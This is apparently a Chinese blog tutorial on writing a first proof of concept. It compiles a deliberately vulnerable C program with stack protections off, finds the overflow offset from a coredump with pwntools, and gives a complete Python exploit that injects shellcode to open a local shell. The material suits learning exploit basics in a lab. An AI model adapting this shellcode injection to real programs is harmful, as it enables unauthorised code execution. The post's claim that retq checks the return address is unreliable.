乐趣区

编写的第一个POC代码

0x00 Target
#include <assert.h>
#include <unistd.h>

int vuln()
{
// Define variables
char arr[400];
int return_status;
// Grab user input
printf(“What’s your name?\n”);
return_status = read(0, arr, 800);
// Print user input
printf(“Hey %s”, arr);
// Return success
return 0;
}

int main(int argc, char * argv[])
{
vuln();
return 0;
}
这是一个非常标准的带有栈溢出漏洞的程序,编译与运行的条件如下:

虚拟机,Ubuntu 18.04 LTS, Kernel: 4.15.0-45-generic
使用如下 GCC 指令编译,关闭 PIE(Position-independent Executable,指令位置无关可执行程序),关闭栈保护功能,启用栈可执行功能。

gcc -g -no-pie -fno-stack-protector -z execstack -o vuln2 vuln2.c
利用这个漏洞的思路如下:

将 shellcode 通过标准输入写入 arr[400] 数组;
覆盖 vulr 栈帧保存的上一级函数的返回地址为 arr[400] 的起始地址;
当函数调用 ret 指令时,跳转到 arr[400] 执行 shellcode。

0x01 Fuzzing
使用 pwntools 中的 cyclic 生成 cycle pyload,获取以下信息:

arr[400] 到栈帧中返回地址保存位置的 offset;
arr[400] 的绝对地址,可以用 vulr() 栈帧的 rbp 和 offset 计算得到。

编写的 Fuzzing 程序如下:
def find_rbp():
cycle_payload = cyclic(512, n=8)
clean_corefile(COREDUMP)

# Generate coredump
p = process([VULR_BINARY])
p.sendline(cycle_payload)
p.wait_for_close()

# Analise coredump
core = Coredump(COREDUMP)
clean_corefile(COREDUMP)

# Find RBP address, RBP address is equal to RBP after leaveq
return core.rsp – 8, cyclic_find(pack(core.rbp, 64), n=8)
很多基于 32 位 Linux 系统讲解栈溢出的教程中采用根据 EIP 中存储的值来确定 offset,但这个方法在 x64 系统中不适用。具体地,注意程序生成的 coredump 文件:
(gdb) disas
Dump of assembler code for function vuln:
0x00000000004005c7 <+0>: push %rbp
0x00000000004005c8 <+1>: mov %rsp,%rbp
0x00000000004005cb <+4>: sub $0x1a0,%rsp
0x00000000004005d2 <+11>: lea 0x11b(%rip),%rdi # 0x4006f4
0x00000000004005d9 <+18>: callq 0x4004b0 <puts@plt>
0x00000000004005de <+23>: lea -0x1a0(%rbp),%rax
0x00000000004005e5 <+30>: mov $0x320,%edx
0x00000000004005ea <+35>: mov %rax,%rsi
0x00000000004005ed <+38>: mov $0x0,%edi
0x00000000004005f2 <+43>: callq 0x4004d0 <read@plt>
0x00000000004005f7 <+48>: mov %eax,-0x4(%rbp)
0x00000000004005fa <+51>: lea -0x1a0(%rbp),%rax
0x0000000000400601 <+58>: mov %rax,%rsi
0x0000000000400604 <+61>: lea 0xfb(%rip),%rdi # 0x400706
0x000000000040060b <+68>: mov $0x0,%eax
0x0000000000400610 <+73>: callq 0x4004c0 <printf@plt>
0x0000000000400615 <+78>: mov $0x0,%eax
0x000000000040061a <+83>: leaveq
=> 0x000000000040061b <+84>: retq
End of assembler dump.
此时,RIP 寄存器的值为:
(gdb) p $rip
$1 = (void (*)()) 0x40061b <vuln+84>
说明 retq 指令执行还没有被完全执行,程序就发生了段错误。retq 指令执行时,会检查栈中存储的返回地址是否合法。如合法,读入到 rip 寄存器并执行,如果不合法,将发出中断。此时,rip 寄存器并没有读入栈中存储的返回地址
因此,不能通过分析 rip 来确定溢出的 offset,但我们注意到 leaveq 已经获得了执行,栈中存放的 rbp 已经被覆盖,栈中存放的 rbp 值已经读入 rbp 寄存器,可以通过分析 rbp 来确定溢出的 offset。
0x02 POC
由上,就可以编写出完整的 POC 代码了
#!/usr/bin/env python2

import os
from pwn import *

VULR_BINARY = ‘./vuln2’
COREDUMP = ‘./core’

context.update(arch=’x86_64′, os=’linux’)

def clean_corefile(corefile):
if os.path.exists(corefile):
os.remove(corefile)

def find_rbp():
cycle_payload = cyclic(512, n=8)
clean_corefile(COREDUMP)

# Generate coredump
p = process([VULR_BINARY])
p.sendline(cycle_payload)
p.wait_for_close()

# Analise coredump
core = Coredump(COREDUMP)
clean_corefile(COREDUMP)

# Find RBP address, RBP address is equal to RBP after leaveq
return core.rsp – 8, cyclic_find(pack(core.rbp, 64), n=8)

def poc_start():
shellcode = asm(shellcraft.sh())
rbp_address, rbp_offset = find_rbp()

payload = shellcode + asm(‘nop’) * (rbp_offset + 8 – len(shellcode)) + pack(rbp_address – rbp_offset, 64)

p = process([VULR_BINARY], stdin=PTY, stdout=PTY)
p.sendline(payload)
p.interactive()

poc_start()
执行 shellcode 后,即运行了一个 shell
Reference

https://www.felixcloutier.com…
https://bytesoverbombs.io/exp…

退出移动版